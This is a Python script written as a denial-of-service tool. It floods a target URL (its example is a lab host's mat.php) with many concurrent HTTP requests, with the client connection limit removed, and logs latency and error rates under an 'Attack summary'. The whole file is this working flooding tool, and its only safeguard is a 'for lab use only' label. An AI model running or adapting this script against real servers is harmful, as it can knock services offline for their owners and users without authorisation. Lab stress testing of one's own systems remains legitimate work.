#!/usr/bin/env python3
import asyncio
import aiohttp
import time
import statistics
import argparse
import csv
from datetime import datetime

async def worker(session, sem, url, idx, results):
    async with sem:
        t_start = time.perf_counter()
        wall_start = time.time()
        status = None
        error = ""
        try:
            async with session.get(url) as resp:
                status = resp.status
                # Consume response so server sends full body
                await resp.read()
        except Exception as e:
            status = 0
            error = str(e)
        t_end = time.perf_counter()
        latency = t_end - t_start
        results.append({
            "id": idx,
            "start_ts": wall_start,
            "latency_s": latency,
            "status": status,
            "error": error
        })

async def run_attack(url, total_requests, concurrency, timeout, output_csv):
    connector = aiohttp.TCPConnector(limit=0)  # no client-side conn limit
    timeout_cfg = aiohttp.ClientTimeout(total=timeout)

    sem = asyncio.Semaphore(concurrency)
    results = []

    async with aiohttp.ClientSession(connector=connector, timeout=timeout_cfg) as session:
        tasks = []
        t_global_start = time.perf_counter()
        for i in range(total_requests):
            tasks.append(asyncio.create_task(worker(session, sem, url, i+1, results)))
        await asyncio.gather(*tasks)
        t_global_end = time.perf_counter()

    # Basic stats
    latencies = [r["latency_s"] for r in results if r["status"] and r["status"] != 0]
    errors = [r for r in results if r["status"] == 0 or r["status"] >= 500]

    print(f"\n=== Attack summary ===")
    print(f"Target URL      : {url}")
    print(f"Total requests  : {total_requests}")
    print(f"Concurrency     : {concurrency}")
    print(f"Total duration  : {t_global_end - t_global_start:.2f} s")

    if latencies:
        print(f"Successful resp : {len(latencies)}")
        print(f"Min latency     : {min(latencies):.3f} s")
        print(f"Avg latency     : {statistics.mean(latencies):.3f} s")
        print(f"Median latency  : {statistics.median(latencies):.3f} s")
        print(f"95th percentile : {statistics.quantiles(latencies, n=20)[18]:.3f} s")
        print(f"Max latency     : {max(latencies):.3f} s")
    else:
        print("No successful responses recorded.")

    print(f"Errors (status 0 or >=500): {len(errors)}")

    if output_csv:
        with open(output_csv, "w", newline="") as f:
            writer = csv.DictWriter(
                f,
                fieldnames=["id", "start_ts", "latency_s", "status", "error"]
            )
            writer.writeheader()
            for r in results:
                writer.writerow(r)
        print(f"\nDetailed per-request log written to: {output_csv}")

def main():
    parser = argparse.ArgumentParser(
        description="HTTP DoS-style load test against mat.php (for lab use only)."
    )
    parser.add_argument("--url", required=True,
                        help="Target URL, e.g. http://10.10.10.20/mat.php")
    parser.add_argument("--requests", type=int, default=500,
                        help="Total number of HTTP requests")
    parser.add_argument("--concurrency", type=int, default=50,
                        help="Number of parallel requests")
    parser.add_argument("--timeout", type=int, default=120,
                        help="Per-request timeout in seconds")
    parser.add_argument("--out", default=None,
                        help="CSV file to store per-request results")

    args = parser.parse_args()

    if not args.out:
        ts = datetime.now().strftime("%Y%m%d_%H%M%S")
        args.out = f"dos_mat_{ts}.csv"

    asyncio.run(run_attack(
        url=args.url,
        total_requests=args.requests,
        concurrency=args.concurrency,
        timeout=args.timeout,
        output_csv=args.out
    ))

if __name__ == "__main__":
    main()

